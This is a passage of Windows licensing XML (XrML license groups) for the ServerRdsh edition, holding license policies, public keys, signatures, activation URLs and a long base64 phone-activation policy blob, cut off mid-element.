channel</tm:infoStr><tm:infoStr name="PAUrl">https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail</tm:infoStr><tm:infoStr name="ActivationSequence">msft:spp/licenseacquisition/payloadhandler/pa/1.0</tm:infoStr><tm:infoStr name="ValidationTemplateId">{99d92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="ValUrl">https://validation-v2.sls.microsoft.com/SLWGA/slwga.asmx</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="EnableNotificationMode">1</tm:infoStr><tm:infoStr name="GraceTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="ValidityTimerUniqueness">EditionId</tm:infoStr><tm:infoStr name="EnableActivationValidation">1</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{1071f1da-539f-45fa-ad0b-959df146fa19}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>tWa7qaafFDFtvbWw+VqE6g5+NLU=</DigestValue></Reference></SignedInfo><SignatureValue>AfCxmaNpn+f+KYfydEVTLnpTcoPdDE45G8is9ESkfM+fYynQ6DiHdCsJfV/809at57Wtg8lbX4CE7GxqrBpsgK9oNlV9jAI6nuZeKoF/C0oWW4GTfUJhLklcPjWWz2cftrtVyjzNK+P3WRbLWWB4Oa0tnbcsh/mj0v7KmAVQMPGdZ4aFyLHoh+iHQU2LYS3k6/2uSV+VTNuS4CHGxSBbx4k7UaSS0fWAM/mE6na7rkuZQysOFsxKJOgVhn94yBmESVJ102UaeJuSYYeoFIXjlvDTEjfG8+omEgi0h8qdKRzF43J342uJrT/2Y/j1w0C00yUIgUJGurOVAvqsaLN70Q==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{42405caf-db20-431e-8727-e708d055f25d}</tm:infoStr><tm:infoStr name="productSkuId">{291ece0e-9c38-40ca-a9e1-32cc7ec19507}</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{7310ca6a-8c02-4362-8804-a8d0858e3f2a}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL phone License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:binding><sl:data Algorithm="msft:rm/algorithm/phone/1.0">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</sl:data></sl:binding></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{291ece0e-9c38-40ca-a9e1-32cc7ec19507}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAABAAAA</sl:data></sl:externalValidator></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>EhL4Vs8oCrbmFiaOJZrCqlsd6Us=</DigestValue></Reference></SignedInfo><SignatureValue>h2UURBSTKFBa5rYtFvLO6GAXCsVF+aGOOlbC+PNZ1k4+LZBE3DJfcnXCNqGIYDDIosa2DZjmlkcvgIxfe7mwCH/a2q6Ut1EtPvj47DC+v+WeQUBHvIGHYOacA8R6t1YEsVGp4SlAG4eMwZUk3NQYReVWjsnuBu6i0CHbYd4cOdWtcug65OpEwmSjXldDUmjo+4v/mUg4rKm1QKUSumOoRRbGQcYo9TC+K+0ISJyNjxUm8Uq7oS57G8Fb7AbNIcPoFqV/eL/loRNpdF4id0TTsdy0L8aGBlMaTgISIVaVsHqbTfOMZvDrl+4z73b4LtjFlmtfKeV5JkN4VBmAjOJF8g==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/PHONE/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{291ece0e-9c38-40ca-a9e1-32cc7ec19507}</tm:infoStr><tm:infoStr name="privateCertificateId">{24ea277b-a22c-42df-9166-8ba5b72e81d9}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_MAK channel</tm:infoStr><tm:infoStr name="UXDifferentiator">RETAIL</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="phone:policy">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